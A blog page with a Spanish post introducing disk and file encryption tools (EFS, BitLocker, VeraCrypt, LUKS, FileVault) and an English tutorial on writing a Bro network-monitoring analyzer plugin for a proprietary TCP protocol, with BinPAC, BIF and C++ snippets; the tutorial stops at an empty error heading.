Redes Sociales

lunes, 16 de mayo de 2016

Cifrado (I)

Comienzo una serie de tres articulos sobre el cifrado que me pidieron para una publicación y de la cula al final cogieron solo una pequeña parte. Como el texto es largo, lo dividiré en tres posts. Tratan del cifrado de discos, del cifrado de moviles y del cifrado de correos electrónicos. Esta serie de artículos fueron publicados por Realsec para su blog de ciberseguridad.

INTRODUCCIÓN

En un mundo global como el que estamos todo acaba globalizándose, incluidas las amenazas que pueden afectar a una empresa. También los atacantes que ejecutan esas amenazas se globalizan, hasta los métodos de defensa están comenzando a globalizarse. Cualquiera puede hoy en día jugar a ser hacker. Un par de cursillos, un par de foros underground, unas cuantas descargas y, a falta de conocimiento especializado, cualquiera puede convertirse en una importante amenaza importante para una empresa, sea del tamaño que sea.

Desde el mundo empresarial hay que ponerse las pilas en securizar los sistemas y las comunicaciones para evitar que cualquiera pueda acceder a información confidencial o comprometida.

Aparte de esforzarnos en evitar que "los malos" accedan a nuestros sistemas, un segundo nivel de protección consistiría en evitar que, si consiguen acceder, puedan leer ningún dato confidencial. Para ello lo ideal es el cifrado tanto de los sistemas de la empresa como de las comunicaciones que realizamos a diario con clientes, colaboradores, proveedores y conocidos en general.

Cifrado

El cifrado de información consiste en la aplicación (previa introducción de una clave de cifrado) de un algoritmo a un texto, imagen o cualquier otro tipo de documento, de manera que el "objeto" obtenido sea completamente ilegible, pero que, a la vez, sea posible descifrarlo aplicando la misma contraseña u otra asociada, obteniendo al final el documento original.

Según como sea esta clave de cifrado, existen dos tipos de algoritmos de cifrado. Por una parte el cifrado simétrico y por otra el cifrado asimétrico. A grandes rasgos, en el cifrado simétrico, también conocido como cifrado de clave secreta, se utiliza la misma clave para cifrar y descifrar la información, mientras que en el cifrado asimétrico, o cifrado de clave pública, se utiliza un par de claves diferentes (pero relacionadas entre ellas) para el cifrado y descifrado de la información.

Podemos decir que el cifrado asimétrico es una especie de cifrado dirigido entre dos personas y por tanto es habitual encontrarlo en el cifrado de comunicaciones. El cifrado asimétrico además garantiza, aparte de la confidencialidad, la integridad del texto (que no haya sido modificado por quien no debe) y el no repudio (que el autor no pueda retractarse de lo que ha escrito).

Pero, ¿qué herramientas hay disponibles para poder cifrar nuestra información? Existen en el mercado infinidad de productos comerciales para el cifrado de información, pero no es necesario gastarse dinero para conseguir un buen producto. Prácticamente todos los sistemas operativos incluyen de forma nativa herramientas que nos permite cifrar los datos almacenados en las unidades de disco, memorias USB y demás dispositivos conectados. Estas herramientas nos permiten cifrar toda la unidad o archivos previamente seleccionados.

La mayoría de estas herramientas de cifrado utilizan el algoritmo AES. Se trata de un algoritmo de cifrado simétrico, adecuado para los más altos niveles de confidencialidad, aunque también existen otros tipos de cifrado, como las diferentes variantes de DES (DES, 3DES, DESX ...) o RSA.

EFS

En todas las versiones de los sistemas operativos Windows (desde Windows 2000) existe EFS, que permite el cifrado de ficheros o directorios de forma sencilla. Simplemente clicando con el botón derecho sobre un directorio en Windows, seleccionando la opción "Propiedades" y dándole al botón "Opciones avanzadas" nos aparece el cuadro de dialogo que vemos en la imagen y que nos permite cifrar el directorio de una forma sencilla.

Sin embargo no hemos introducido ninguna clave para el cifrado. ¿Cómo es posible que hayamos cifrado el fichero?. Esto es porque EFS automáticamente ha generado una clave de cifrado aleatoria y única para este directorio o fichero. El algoritmo de cifrado utilizado ha sido AES, antes mencionado, con un tamaño de clave de 256 bits (. Dado que se trata de un cifrado simétrico, la clave será la misma para descifrar el fichero. Y dado que esa clave sólo la conoce EFS, ésta debe estar almacenada en algún sitio. Pues bien, este sitio es en el propio fichero que acabamos de cifrar. Es un poco enrevesado, me explico: La clave de cifrado, también es un texto y también se puede cifrar. Lo que hace EFS es cifrar la clave de cifrado con un algoritmo diferente, en este caso RSA y utilizando como clave nuestra contraseña de acceso a Windows. El texto resultante lo "pega" al final del fichero que habíamos cifrado antes y lo almacena en disco. De esta manera, este directorio o fichero solo podrá ser descifrado por el usuario que sepa la clave de acceso a Windows, que se supone que somos sólo nosotros.

Desde el explorador de Windows no podemos hacer mucho mas con EFS, sin embargo, con todos los sistemas Windows viene una herramienta de línea de comandos llamada cipher.exe que permite cifrar y descifrar ficheros utilizando la clave tanto simétrica como asimétrica que nosotros deseemos.

EFS tiene sin embargo algunas deficiencias. Por ejemplo no encripta los ficheros propios del sistema operativo y aunque creamos que tenemos todo disco cifrado y nadie puede leer nuestra información, si se trata de un equipo portatil que no conectamos contra un servidor de dominio, un atacante podría obtener el hash de la cuenta de usuario y si ésta no es lo suficientemente compleja, obtener la contraseña de usuario, utilizada como hemos visto por EFS para cifrar los ficheros del disco duro.

BITLOCKER

Para evitar esto, a partir de Windows 7, aunque únicamente en las ediciones Ultimate y Enterprise, disponemos de una herramienta llamada Bitlocker, con una interfaz gráfica muy intuitiva, que nos permitirá cifrar de manera muy simple nuestra unidad completa (esta vez de verdad) o los archivos sueltos que queramos. En este caso el algoritmo de cifrado utilizado es AES con clave de 128 bits. En el caso de cifrado de unidades enteras, si el equipo esta apagado, el disco permanecerá cifrado, desde el primer hasta el último bit.

Para lanzar bitlocker lo mejor es buscar la aplicación Bitlocker Drive Encription:

En Windows 8/10 es igual:

Como indicabamos Bitlocker permite cifrar una unidad entera o solo un conjunto de archivos:

Bitlocker nos da la opción de escribir una clave de cifrado que sólo nosotros sabremos o dejarle a él escoger una clave aleatoria. En este caso, como ocurría con EFS, esa clave (llamada FVEK) será cifrada con otra clave llamada VMK la cual será almacenada en una región especial del disco cifrado. Para aumentar la seguridad, bitlocker nos ofrece la opción de cifrar esta clave, la VMK y almacenar la clave en una unidad USB o bien utilizar un hardware especial que cumpla con el estándar TPM v1.2. De esta manera sólo sería posible arrancar el equipo si disponemos de esa llave USB o de ese hardware conectado.

En ambos casos es absolutamente necesario tener una vía de recuperación en caso de que olvidemos la clave o se pierda la llave USB. Por eso el siguiente paso al cifrar un unidad con bitlocker es obtener una clave de recuperación, ya sea en un USB, impresa o en una cuenta de Microsoft:

Una vez tengamos el disco cifrado con Bitlocker nosotros, como usuarios, no notaremos nada, puesto que todo lo que se escriba y lea del disco pasará a través de Bitlocker y será éste quien cifre y descifre todo de forma transparente para el usuario. Nosotros veremos los ficheros como los veíamos hasta ahora.

Los expertos en seguridad se quejan de que el algoritmo de cifrado utiliza bloques de solo 128 bits, lo que significa que, con un cierto esfuerzo, podría ser posible su descifrado utilizando técnicas de fuerza bruta.

Algunas alternativas a bitlocker son DiskCryptor, TrueCrypt (aunque descontinuado parece que nunca se encontró ningún backdoor) o Veracrypt, que es un fork de Truecrypt. Todas ellas soportan USB como clave, y al menos DiskCryptor soporta arranque desde partición boot externa.

Linux y OSX

En sistemas operativos Linux, disponemos en todas sus versiones de la herramienta de cifrado GnuPG. Para permiten usar llaves USB para el descifrado automático de unidades no existe una solución como tal pero se puede conseguir aprovechando herramientas como cryptsetup y usb_keymaster usando LUKS y dm-crypt. Por ultimo, en el sistema operativo de Apple (OSX) disponemos de la herramienta FileVault2, también disponible en todas sus versiones y que utiliza el algoritmos AES con claves de 256 bits.

Además de las herramientas integradas en los sistemas operativos, para cifrar archivos sueltos, disponemos de esta opción en las herramientas de compresión, que nos permiten cifrar el contenido de archivo comprimido utilizando una contraseña introducida por nosotros. También, existen aplicaciones de software libre específicas de cifrado que nos permitirán mantener nuestros datos seguros de manera gratuita.

jueves, 28 de abril de 2016

Developing a Bro analyzer as a plugin

Bro is an open source Unix based network monitoring framework that can be used mainly for collecting network measurements, and based on that conducting forensic investigations, traffic baselining, build a NIDSand many other tasks. It includes an event-driven programming language that allow to implement actions when an specific packet, message or event has happened.

The main building block of bro are the protocol analyzers and many protocol analyzer have been implemented and are included with the bro's core. However there are many other that are not implemented, and , in many cases, a company could be interested in implementing an analyzer for a proprietary protocol.

That was my task during the last month. My company had to implement a monitoring tool on a proprietary protocol and a plugin had to be developed to allow operators include this protocol into their bro installations.

This lack of information found has drive me to write this entry and to explain what I did , what problems I found how did manage to bypass them.

The main problems I have found in bro are the variety of different technologies necessary to develop an analyzer and the LACK of documentation. The last one is mainly the reason why I have written this post.

In my case I had a propietary protocol, that worked over TCP on port 302. The protocol message structure varies depending on the first byte (the function code) value. In this post I will only explain two different request messages, although the protocol had more than 20 different function codes:

Message 1

Function Code: 0x22
Message structure:
        CRC:                    32 bits;
        Value_Number:           8 bits;
        Var_Type_Code:          16 bits;
        u:                      16 bits; 
        u2:                     8 bits;
        Codified_Var_Numbers:   16 bits; 
        data:                   ;

Message 2

Function Code: 0x31
Message structure:
        id:                 16 bits;


Starting

As this was a proprietary protocol there was no other protocol I could base on. So I had to start the development from scratch. After reading the bro's documentation, mainly:

...I got buffled by the amount of technologies to use.

Mainly, I had to write an anlyzer, which pretty well explained in the documentation, and I had to write a plugin, which is also well explained... if it's a simple plugin, but if you want to put it all together, there's no guide to follow.

To write a simple analyzer the easies way is to follow the instructions in [3], running the start.py script. It will basically create the following files for you:

  • CMakeLists.txt
  • events.bif
  • Plugin.cc (if you use the -plugin option which you need to)
  • MyProt.pac
  • MyProt-protocol.pac
  • MyProt-analyzer.pac
  • MyProt.cc
  • MyProt.h

That's OK, but it does not explain how to modify them to develop your analyzer. And the other hand and VERY IMPORTANT, it does NOT include the configure and MakeFile files.

Secondly, we could follow the instructions given in [2] and using the init-plugin script, it would create the following files and directories:

  • configure
  • Makefile
  • src directory
  • src/Plugin.cc
  • src/Plugin.
  • MyProt_plugin.bif
  • scripts directory
  • tests directory

Good enough, it includes a configure and Makefile files BUT, there's no explanation on how to modify these files to create an analyzer.

What did I do?

Join together all the files created by both scripts.

These are the steps followed to get a working framework:

  1. Install bro with it's sources. The process is explained in "Installing bro". I would NOT have another bro installation in the box to avoid conflicts between them.
  2. Create a work directory. In my case it was created in /tools/bro/bro/MyProt_plugin, while bro was installed in /tools/bro/bro
  3. From this directory, run the start.py script with the -plugin option. Follow the instructions given in [3].
  4. Run the init-plugin script, which is in /aux/bro-aux/plugin-support/init-plugin. The arguments a gave where "MYPROT MYPROT"
  5. In my case I moved to the src directory the MyProt.cc and MyProt.h files generated by start.py. However this step is not necesary if later you do not modify some lines in other file.


The different technologies used

To continue with the explanation I will explain the different technologies involved in the analyzer development, which are C++, BIF, BinPAC and Bro.

At the end of the day, the analyzer must be compiled with a C++ compiler and built with Make. But to create these .cc and .h files, the bro guys use binpac and later use BIF. Finally to use the events generated using this analyzer, bro scripts must be written.

  • BinPac is a yacc parser that can be used to develop application protocol parsers. Its syntax is based on types and subtypes and I recommend to read the documents [4] and [6] to understand how to works. What BinPAC does is mainly, generate a .cc and .h files that when compiled and run, will be able to understand the protocol given.

  • BIF is an acronym of BuiltIn Functions and is a new layer that allows to interact the C/C++ event engine with the PAC Files. It has its own syntax and for an anlyzaer, it's used in the analyzer.pac file and the events.bif and types.bif files

  • The BRO scripting language allow us to take advantage of the bro framework and event infrastructure to write bro policies.

  • Finally BRO framework is written in C/C++ and while writing an analyzer there are parts that have to be written directly in C/C++.

  • One of the initial scripts is written in Python. This script (start.py) allow us to create the structure of C/C++ files for developing an anlyzer

  • The other script (init-plugin) is written in Bash Shell and will create the file structure for developing a plugin. Other Shell script was eventually written to automate the compilation process.



The files

The start.py script generated (among many other) two important files: MyProt.cc and MyProt.h. These are the starting point of an analyzer and its structure it always the same:

#include "MyProt.h"
#include "analyzer/protocol/tcp/TCP_Reassembler.h"
#include "events.bif.h"

using namespace analyzer::myprot;

MyProtTCP_Analyzer::MyProtTCP_Analyzer(Connection* c): TCP_ApplicationAnalyzer("MYPROT1234", c)
  {
   interp = new binpac::MyProtTCP::MyProtTCP_Conn(this);
  }

MyProtTCP_Analyzer::~MyProtTCP_Analyzer()
  {
   delete interp;
  }

void MyProtTCP_Analyzer::Done()
 {
         TCP_ApplicationAnalyzer::Done();
   interp->FlowEOF(true);
  interp->FlowEOF(false);
 }

void MyProtTCP_Analyzer::DeliverStream(int len, const u_char* data, bool orig)
 {
  TCP_ApplicationAnalyzer::DeliverStream(len, data, orig);
  interp->NewData(orig, data, data + len);
 }

void MyProtTCP_Analyzer::Undelivered(uint64 seq, int len, bool orig)
 {
  TCP_ApplicationAnalyzer::Undelivered(seq, len, orig);
  interp->NewGap(orig, len);
 }

void MyProtTCP_Analyzer::EndpointEOF(bool is_orig)
 {
  TCP_ApplicationAnalyzer::EndpointEOF(is_orig);
  interp->FlowEOF(is_orig);
 }

This file is the joining point between bro and the new Analyzer. With this code, the analyzer can be registered in bro, Connections will be created and allow the messages to be delivered to the Analyzer.

On the other hand we find the Plugin.cc and Plugin.h files which allow bro to create a plugin:

    #include "Plugin.h"

    namespace plugin {
    namespace MYPROT_MYPROT {

    Plugin plugin; } }

    using namespace plugin::MYPROT_MYPROT;

    plugin::Configuration Plugin::Configure()                                                         
        {
        plugin::Configuration config;
        config.name = "MYPROT::MYPROT";
        config.description = "MY protocol";
        config.version.major = 0;
        config.version.minor = 1;
        return config;
        }

It's a simple code that allow adding BIF functions into bif files and implementing them as a plugin. But this is not our case. We want an analyzer as a plugin. To get it we'll have to add the following to lines to this file. An include file will be added to the top of the file:

    #include "MyProt.h"

...and we'll add an analyzer component to the Plugin with the following line INSIDE the configure method:

AddComponent(new ::analyzer::Component("MYPROT1234", ::analyzer::myprot::MyProtTCP_Analyzer::Instantiate));

The "MYPROT1234" text is the Tag that allows bro to recognize the analyzer. It's also defined in the analyzer definiticion in MyProt.cc (see above).

For a Bro analyzer three different PAC files are generally used (MyProt.pac, MyProt-protocol.pac and MyProt-analyzer.pac). However this is not really necessary and everything could go in a single PAC File, but to make things easier I will explain it splitted in three files.

The main one (MyProt.pac) is always very similar (take a look at the comments added by me). It allows to declare what a Connection is, what a PDU is and call the other two PAC Files. This is MyProt.pac:

#
#THESE TWO FILES NEED TO BE COPIED FROM THE BRO SOURCE DIRECTORY TO OUR WORKING DIRECTORY TO MAKE IT WORK:
#
%include binpac.pac
%include bro.pac

###
#THESE LINES ARE NECESSARY BECAUSE LATER A events.bif.h file IS GENERATED, BUT IT'S NOT INCLUDED 
#ANYWHERE. WE MAKE THE INCLUDE HERE THAT WILL BE ADDED LATER IN THE .cc FILE
###
%extern{
#include "events.bif.h"
%}

###
#HERE WE DECLARE THE ANALYZER. IT IS ALWAYS MORE OR LESS THE SAME, IT HAS A CONNECTION AND TWO 
#FLOWS. OFICCIALLY A FLOW IS A SEQUENCE OF MESSAGES AND THE STATE BETWEEN MESSAGES
###
analyzer MyProtTCP withcontext {
 connection: MyProtTCP_Conn;
 flow:       MyProtTCP_Flow;
};

##
#...AND A CONNECTION IS AN UPLOAD FLOW AND A DOWNLOAD FLOW 
##
connection MyProtTCP_Conn(bro_analyzer: BroAnalyzer) {
 upflow = MyProtTCP_Flow(true);
 downflow = MyProtTCP_Flow(false);
};

##
#AS WE CAN SEE; AFTER DECLARING WHAT A CONNECTION AND A FLOW IS WE INCLUDE THE MYPROT-PROTOCOL.PAC 
#AND THE PROCESSING CONTINUES WITH IT
##
%include MyProt-protocol.pac

##
#A FLOW COMPONENTS ARE PDUs. IN MyProt-protocol.pac WE HAVE PREVIOUSLY DEFINED WHAT A MyProt PDU IS.
##
flow MyProtTCP_Flow(is_orig: bool) {
 flowunit = MyProtTCP_PDU(is_orig) withcontext (connection, this);
}

##
#FINALLY THE ANALYZER IS INCLUDED TO GENERATE THE EVENTS
##
%include MyProt-analyzer.pac

#
#MAINLY SPEAKING, IN THE PROTOCOL.PAC FILE WE EXPLAIN THE PROTOCOL AND IN THE ANALYZER-FILE.pac 
#WE WRITE THE FUNCTIONS TO UNDERSTAND THE PROTOCOL


OK, now we'll go through the MyProt-protocol.pac file (Again read the comments written by me). This file allow to define how is structure of the different messages of the protocol:

#HERE WE DEFINE WHAT IS A PDU FOR THIS PROTOCOL. AS WE SAW PREVIOUSLY, IT'S COMPOSED BY A ONE 
#BYTE HEADER AND A BODY
##
type MyProtTCP_PDU(is_orig: bool) = record {
 header: uint8;
 body: case is_orig of {
  true  -> request:  MyProtTCP_Request(header);   
  false -> response: MyProtTCP_Response(header);
 };
} &let {
 deliver: bool = $context.flow.deliver_MyProtTCP_PDU_FUNCTION(this)
};

##
#AS WE CAN SEE IN THE LET SECTION, WHEN RECEIVED, THE FUNCTION MyProtTCP_PDU_FUNCTION(MyProtTCP_PDU *f) 
#IS CALLED. THIS FUNCTION IS IMPLEMENTED IN THE MyProt-analyzer.pac FILE
##

##
#THE MyProtTCP_Request and Resopnse TYPES ARE DECLARED NEXT. AS WE CAN SEE THE FUNCTION CODES HAVE 
#SUBFUNCTION CODES NEXT AND IN THE RESPONSE PDUs THERE IS A RESPONSE STATUS VALUE 
##
type MyProtTCP_Request(header: uint8) = record {
       ufc:            uint16;
       body:           MyProt_Request(header, ufc);
} &let {
       deliver: bool = $context.flow.deliver_UniRequest(header, this);
} &byteorder=littleendian;


type MyProtTCP_Response(header: uint8) = record {
       urs:   uint16;
       body:       MyProt_Response(header, urs);
} &let {
       deliver: bool = $context.flow.deliver_UniResponse(header, this);
} &byteorder=littleendian;

##
#WHEN A REQUEST OR RESPONSE MESSAGE IS DETECTED, THE FUNCTION UNIREQUEST AND UNIRESPONSE ARE 
#CALLED. THESE FUNCTIONS ARE IMPLEMENTED IN THE ANALYZER.PAC FILE.
#
#THE MYPROT_REQUEST AND RESPONSE TYPES ARE DEFINED NEXT
##
type MyProt_Request(TCPheader: uint8, Uheader: uint16) = case Uheader of {
        0x22                -> readSystemVar:           readSystemVarRequest(TCPheader, Uheader);
        0x31                -> readId:              ReadIdRequest(TCPheader, Uheader);

(...)
};

type MyProt_Response(TCPheader: uint8, Uheader: uint16) = case Uheader of {
        0xFE                -> ok:            Response_OK(TCPheader, Uheader);
        0xFD    -> error:  Response_Error(TCPheader, Uheader); 
};

##
#IN THEM WE DEFINE THE DIFFERENT VALUES OF THE FUNCTION CODES AND WHAT FUNCTION WILL TREAT THEM. 
#IN THIS CASE WE WILL ONLY EXPLAIN THE ReadSystemVar REQUEST AND THE READID REQUEST
##

type ReadSystemVarRequest (TCPheader: uint8, Uheader: uint16) = record {
    data:       BinPAC_MyProt_ReadWriteSystemVarsRequest_Format;
} &let {
 deliver: bool = $context.flow.deliver_ReadSystemVarRequest(TCPheader, Uheader,this);
} &byteorder=littleendian;


type ReadIdRequest(TCPheader: uint8, Uheader: uint16) = record {
   Id: uint16;
} &let {
 deliver: bool = $context.flow.deliver_ReadIdRequest(TCPheader, Uheader,this);
} &byteorder=bigendian;

##
#FINALLY WE NEED TO DECLARE THE TYPE BinPAC_MyProt_ReadWriteSystemVarsRequest_Format THAT WE 
#USED IN THE ReadSystemVarRequest TYPE.
##
type BinPAC_MyProt_ReadWriteSystemVarsRequest_Format = record {
        CRC:            bytestring &length=4;
 Value_Number: uint8; 
 Var_Type_Code: uint16;
 u:   uint16;
 u2:   uint8; 
 Var_Numbers: uint16; 
 data:  bytestring &restofdata;
} &byteorder=littleendian;

##
#AS WE CAN SEE THIS IS THE STRUCTURE OF THE MESSAGE 1. WITH MESSAGE 2 WE DO NOT NEED A RECORD 
#BECAUSE IT ONLY HAS ONE VALUE, THE ID, WITH 16 BITS

And that's all, we have defined a simple protocol.


MyProt-Analyzer.pac

Now we need to implement the protocol and implement the events that bro will be generating when a a protocol message is detected. This will be don in the MyProt-Analyzer.pac file:

#THE ANALYZER.PAC FILE HAS THREE DIFFERENT SECTIONS. THE FIRST ONE IS A DECLARATION OF THE FUNCTIONS 
#IMPLEMENTED IN IT. IT STARTS WITH THE SYNTAX %header{ AND THE FUNCTIONS DECLARED ARE DEVELOPED IN 
#THE FORMER SECTION %code{ ... }. FINALLY IN THE %Init{ ... } SECTION WE WILL IMPLEMENT 
#THE "Deliver_*" FUNCTIONS MENTIONED IN THE PROTOCOL.PAC FILE. THESE THREE SECTIONS ARE ACTUALLY BIF CODE
#
#
#ALTHOUGH THE %Header and %Code SECTION MUST BE INCLUDED BEFORE THE %Init SECTION, I WILL EXPLAIN 
#THE %Init EARLIER AND THEN THE OTHER TWO:
##
%Header{
...
%}

%Code{
...
%}

%Init{

(...)
       function deliver_ReadIdRequest(TCPheader: uint8, Uheader: uint16, 
                message: const_bytestring): bool
               %{

               if ( ::myprot_readid_request )
                       {
                       BifEvent::generate_myprot_readid_request(connection()->bro_analyzer(),
                                    connection()->bro_analyzer()->Conn(),
                                    TCPheader
                                    , Uheader
                                    , bytestring_to_val(message)
                                    );
                       }

               return true;
                %}

##
#THERE ARE MANY THINGS TO EXPLAIN HERE: 
#
#::myprot_readid_request IS A GLOBAL HANDLER WHICH EXISTS ONLY IF A MESSAGE OF THIS TYPE 
#HAS BEEN DETECTED. ITS NAME IS THE SAME AS #THE generate_myprot_readid_request FUNCTION 
#(WITHOUT THE generate_ PART) AND THE SAME AS THE NAME OF THE EVENT DEFINED IN THE events.bif FILE.
#
#THE BifEvent::generate_myprot_readid_request IS A BIF FUNCTION THAT WILL GENERATE THE CODE THAT 
#WILL MANAGE THE EVENT CREATION WHEN THIS MESSAGE IS DETECTED. THE EVENT NAME WILL BE (IN THIS 
#CASE) myprot_readid_request. THIS SAME NAME WILL HAVE TO APPEAR IN THE events.bif FILE.
#
#THIS METHOD DECLARATION, IN THE EVENTS.BIF FILE, WILL HAVE ONLY 4 PARAMETERS (ALL EXCEPT THE 
#FIRST 'ANALYZER' ONE).
#
#IF IN THIS "deliver" FUNCTION WE NEED TO USE AN AUXILIARY FUNCTION, IT WILL HAVE TO DECLARED 
#IN THE %header SECTION AND IMPLEMENTED IN THE %code SECTION
#
#BIF HAS ITS OWN TYPES AND ANY INT8, INT16, INT32, FLOAT, DOUBLE CAN BE CONVERTED INTO ITS 
#TYPE "COUNT", WHICH IS A 64bit VALUE
##

function deliver_ReadSystemVarRequest(TCPheader: uint8, Uheader: uint16, 
         message: ReadSystemVarRequest(TCPheader, Uheader)): bool
               %{

               if ( ::MyProt_readsystemvar_request )
                       {
                       BifEvent::generate_MyProt_readsystemvar_request(connection()->bro_analyzer(),
                                   connection()->bro_analyzer()->Conn(),
                                   TCPheader
                                   , Uheader
                                   , MyProt_ReadWriteSystemVarsRequestFormat_ToBro(message->data())
                                   );
                       }

               return true;
                %}

##
#MANY THINGS TO MENTION HERE AS WELL:
#
#AS WE CAN SEE, IN THIS CASE THE THIRD PARAMETER OF THE "Deliver" FUNCTION IF A RECORD OF 
#TYPE ReadSystemVarRequest, DEFINED IN THE PROTOCOL.PAC FILE. AS WE CAN ALSO SEE, THIS RECORD 
#HAS ONLY TWO PARAMETERS WHILE IN ITS DECLARATION HAS THREE PARAMETERS... THE LAST ONE DISAPPEAR.
#
#IN THE CALL TO THE "Generate" FUNCTION, THE LAST PARAMETER USES SOMETHING 
#CALLED MyProt_ReadWriteSystemVarsRequestFormat_ToBro. THIS IS AN AUXILIARY FUNCTION, 
#IMPLEMENTED BY US IN THE %CODE SECTION
##

%Header{
          RecordVal* MyProt_ReadWriteSystemVarsRequestFormat_ToBro(BinPAC_MyProt_ReadWriteSystemVarsRequest_Format *rec);
%}

%Code{
          RecordVal* MyProt_ReadWriteSystemVarsRequestFormat_ToBro(BinPAC_MyProt_ReadWriteSystemVarsRequest_Format *rec)
                {
                RecordVal* myprot_format = new RecordVal(BifType::Record::MyProtReadWriteSystemVarsRequestFormat);
                myprot_format->Assign(0, bytestring_to_val(rec->shifted_CRC()));
                myprot_format->Assign(1, new Val(rec->Value_Number(), TYPE_COUNT));
                myprot_format->Assign(2, new Val(rec->Var_Type_Code(), TYPE_COUNT));
                myprot_format->Assign(3, new Val(rec->u(), TYPE_COUNT));
                myprot_format->Assign(4, new Val(rec->u2(), TYPE_COUNT));
                myprot_format->Assign(5, new Val(rec->Var_Numbers(), TYPE_COUNT));
                myprot_format->Assign(6, bytestring_to_val(rec->data()));
                return myprot_format;
                }
%}

##
#MANY THINGS TO MENTION HERE TOO:
#
#NOTICE THE BifType::Record::MyProtReadWriteSystemVarsRequestFormat TYPE. THIS IS A RECORD TYPE FOR 
#THE BIF AND BRO FRAMEWORKS. IT MUST BE DEFINED IN THREE DIFFERENT PLACES:
#             - src/types.bif
#             - /build/scripts/base/init-bare.bro
#             - /build/src/types.bif.netvar_h
#
#NOTICE THE "TYPE_COUNT" TYPES. THEY ARE DEFINED IN Val.h IN BRO. A COUNT TYPE IS A 64bit INTEGER.
#
#NOTICE THE bytestring_to_val(rec->data()) FUNCTIONS. THIS IS AN INTERNAL BRO/BIF FUNCTION THAT 
#ALLOW TO CONVERT A bytestream INTO A StringVal TYPE. IT'S NECESSARY WHEN SENDING STRINGS AS PARAMETERS

The events.bif file store the declaration of the different events the analyzer will be capturing. Its structure is the following:

(...)
event MyProt_readid_request%(c: connection, TCPheaders: MyProtTCPHeaders, 
            Uheader: URequestHeader, Data: string%);

event MyProt_writesystemvar_request%(c: connection, TCPheaders: UTCPHeaders, 
            Uheader: URequestHeader, UReadWriteSystemVarBody: MyProtReadWriteSystemVarsRequestFormat%);
(...)

These events will be re-written in our bro script files.

On the other hand if we are declaring new bro record, we need to define them in the types.bif file:

(...)
type MyProtRequestHeader: record;
type MyProtResponseHeader: record;

type MyProtReadWriteSystemVarsRequestFormat: record;
(...)

They will be specified in the init-bare.bro file:

(...)
type MyProtReadWriteSystemVarsRequestFormat: record {
        CRC:            string;
        Value_Number:   count;
        Var_Type_Code:  count;
        u               count;
        u2:             count;
        Vars_Numbers:   count;
        data:           count;
};
(...)

Finally to avoid error during compilation, for every new record it's necessary to include the following line in the /build/src/types.bif.netvar_h file:

(...)
    namespace BifType { namespace Record{  extern RecordType * MyProtReadWriteSystemVarsRequestFormat;  } } 
(...)

Compilation process

So, we have developed the BinPAC Parser. Everything's going to be easier now.... Stay quiet man, stay quiet. Things get worse now...

To "compile" this PAC files we'll use binpac:

binpac MyProt.pac

If there's no error, two new files will be generated:

  • MyProt_pac.cc
  • MyProt_pac.h

So, now we have three .cc files (Plugin.cc, MyProt.cc and MyProt_pac.cc) and three .h files (Plugin.h, MyProt.h and MyProt_pac.h). How the hell do we handle this??

Well, we need to include the MyProt_pac.h file in the MyProt.h file:

#include "myprot_pac.h"

Then we need to modify the CMakeFiles.txt to add all four files, together with the .bif files. So the CMakeFiles.txt will have to look like:


cmake_minimum_required(VERSION 2.8)

project(Plugin)

include(BroPlugin)

bro_plugin_begin(MYPROT MYPROT)
bro_plugin_bif(src/types.bif src/events.bif)
bro_plugin_cc(src/Plugin.cc src/MyProt.cc src/MyProt_pac.cc)
bro_plugin_dist_files(README CHANGES COPYING VERSION)
bro_plugin_end()

So, to resume, the steps that must be followed to make all this work are:

  1. Prepare .pac files
  2. launch the command: binpac Myprot.pac
  3. If everything went OK, all MyProt.h, MyProt.cc, MyProt_pac.h, MyProt_pac.cc will have to be moved to the src directory (not actually necessary)
  4. Modify Plugin.cc as mentioned earlier
  5. If new records are used, the types.bif will has to be updated
  6. If new events are defined, the events.bif has to be updated
  7. Now we need to remove the build directory and run the compiling commands:
rm -rf build/
binpac myprot.pac 
mv myprot_pac.* src
./configure --bro-dist=..
make
make install


After building the analyzer

To test if bro is detecting the plugin we'll run:

bro -NN | grep -i myprot

Now we need to register the analyzer in the MyBroScript.bro script:

(...)
const ports = { 302/tcp };
(...)
event bro-init()
{
(...)
          Analyzer::register_for_ports(Analyzer::ANALYZER_MYPROT, ports);
(...)
event myprot_readid_request(c: connection, TCPheaders: MyProtTCPHeaders, MyProtheader: MyProtRequestHeader, Data: string)
{
      print("MyProt Read Id request Message detected");
}

event myprot_writesystemvar_request(c: connection, TCPheaders: MyProtTCPHeaders, MyProtheader: MyProtRequestHeader, 
              MyProtReadWriteSystemVarBody:MyProtReadWriteSystemVarsRequestFormat)
{ 
       print("MyProt 0x23 Message detected"); 
}


The hard part

My protocol has a request/response architectutrte, and the request/response message structure depends on a Function Code. This Function Code is sent in the request message, but NOT in the response message.

So, when I receive a response I don't know if it belongs to the request A or the request B. The only way to know that is checking the transport level ID.

So, I need to maintain any kind of array that relate transport id values and function codes. The question is how to do that. I need to read and write that global value in the MyProt-protocol.pac file.

The solution came by modifying the connection class and adding the array (in the MyProt.pac file):

(...)
refine connection UmasTCP_Conn += {
        %member{
                int previous_fcs[256];
        %}
};
(...)

Then added a RESPONSE type that call to a function to recover the FC data from the array:

(...)

type XXX{
(...)
} &let {
       (...)
       ufc: uint8 = $context.connection.get_Previous_FC(header.Transport_id);
};
(...)

And wrote two functions in the analyzer.pac file:

(...)
refine connection MyProtTCP_Conn += {
        (...)

        function get_Previous_FC(Transport_id: int): int
        %{
                return previous_fcs[tid%256];
        %}

        function SetTID_FC(transport_id:int, ufc:int): bool
        %{
                previous_fcs[transport_id%256]=ufc;

                return true;
        %}
(...)

The second one is called every time a message event is detected:

(...)
 function deliver_message(header: BinPAC_TCP_Header, MYPROTheader: BinPAC_MYPROT_header): bool
                %{
                if ( ::MyProt_message )
                   {
                           connection()->SetTID_FC(${header.transport_id}, ${MYPROTheader.myprot_fc});
(...)


Errors found

During compilation I found a wide variety of error, which very often I didn't know why they were happening. To avoid you the multiple hours spent looking for the root causes of these errors, I will explain the error message and the original cause of some of the errors found:

Error:

fatal error in /usr/local/bro/share/bro/base/init-bare.bro, line 1: cannot load plugin 
library /usr/local/bro/lib/bro/plugins/MYPROT_MYPROT_MYPROT//lib/MYPROT-MYPROT.linux-x86_64.so: 
/usr/local/bro/lib/bro/plugins/MYPROT_MYPROT//lib/MYPROT-MYPROT.linux-x86_64.so: undefined symbol:
_ZN7BifType6Record36MyProtReadWriteSystemVarsRequestFormatE

Explanation: This error appears after a successful compilation of the plugin, when running a bro script. In this case there is a Record that Bro is not able to find. The Plugin compiles fine BUT there is a declaration missing either in types.bif or in netvar_h. This could be caused as well for not including a types.bif file in the CMakelists.txt file


Error:

